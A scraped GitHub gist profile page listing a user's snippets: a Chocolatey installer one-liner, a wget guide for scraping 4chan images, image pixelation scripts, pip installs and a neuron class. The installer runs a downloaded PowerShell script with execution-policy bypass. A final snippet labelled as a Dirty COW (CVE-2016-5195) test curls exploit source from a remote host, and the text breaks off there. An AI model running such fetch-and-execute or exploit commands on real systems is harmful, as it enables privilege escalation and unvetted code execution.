Skip to content

Instantly share code, notes, and snippets.

🦇

Himanshu Sharma himanshuxd

🦇
  • Middle Earth
Block or report user

Report or block himanshuxd

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@himanshuxd
himanshuxd / bp
Last active Jan 21, 2020
battery percentage
@himanshuxd
himanshuxd / foo.py
Created Jan 1, 2020
command line gist creation test
@himanshuxd
himanshuxd / chocoinstall.bat
Created Dec 11, 2019
Single line Chocolately (Windows package manager install) use elevated admin cmd
View chocoinstall.bat
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))" && SET "PATH=%PATH%;%ALLUSERSPROFILE%\chocolatey\bin"
@himanshuxd
himanshuxd / 4chan-wget-scraping.md
Created Dec 1, 2019 — forked from tayfie/4chan-wget-scraping.md
how to scrape images from 4chan using wget
View 4chan-wget-scraping.md

How To Scrape Images from 4chan Using Wget

This guide is to save other sorry plebs from needing to RTFM in figuring out how to use wget to scrape images from 4chan and other imageboards. There are lots of image downloaders in existence, but they are usually outdated and broken. You will save time following this guide to learn how to use a powerful and general purpose tool instead.

What Is Wget?

Wget is a command-line file downloader that can handle just about any file downloading task normal and power users will ever need to do. It has versions available for Windows, Mac, and Linux. If it is not already installed on your machine, install it now.

Basic syntax

@himanshuxd
himanshuxd / pixelate.py
Created Oct 27, 2019 — forked from scottrogowski/pixelate.py
Pixelate image in python
View pixelate.py
#!/usr/bin/env python
# This script will pixelate most jpg and png images
# It will both show you the result and save it
import sys
import matplotlib.pyplot as plt
import numpy as np
import PIL.Image as Image
@himanshuxd
himanshuxd / pixelate_image.py
Created Oct 27, 2019 — forked from danyshaanan/pixelate_image.py
A Python script to pixelate an image and add a thin black margin between the simulated pixels.
View pixelate_image.py
from PIL import Image
backgroundColor = (0,)*3
pixelSize = 9
image = Image.open('input.png')
image = image.resize((image.size[0]/pixelSize, image.size[1]/pixelSize), Image.NEAREST)
image = image.resize((image.size[0]*pixelSize, image.size[1]*pixelSize), Image.NEAREST)
pixel = image.load()
@himanshuxd
himanshuxd / pip_install.py
Created Feb 23, 2019
All the ML pip installs you need
View pip_install.py
py -m pip install opencv-python numpy scipy pandas matplotlib
@himanshuxd
himanshuxd / Neuron.py
Created Jan 19, 2019
Forward Propagating Single Neuron
View Neuron.py
class Neuron(object):
# ...
def forward(self, inputs):
""" assume inputs and weights are 1-D numpy arrays and bias is a number """
cell_body_sum = np.sum(inputs * self.weights) + self.bias
firing_rate = 1.0 / (1.0 + math.exp(-cell_body_sum)) # sigmoid activation function
return firing_rate
View Has weird right-to-left characters.txt
ּ_בּ
בּ_בּ
טּ_טּ
כּ‗כּ
לּ_לּ
מּ_מּ
סּ_סּ
תּ_תּ
٩(×̯×)۶
٩(̾●̮̮̃̾•̃̾)۶
View dirty_c0w_expl0it.sh
#!/bin/bash
echo -e "\e[32mTesting for Dirty COW (CVE-2016-5195) vulnerability...\e[0m";
if [[ $EUID -ne 0 ]]; then
echo -e "\e[31mThis script must be run as root\e[0m"
else
# Download the exploit
curl -s https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c > dirtyc0w.c
You can’t perform that action at this time.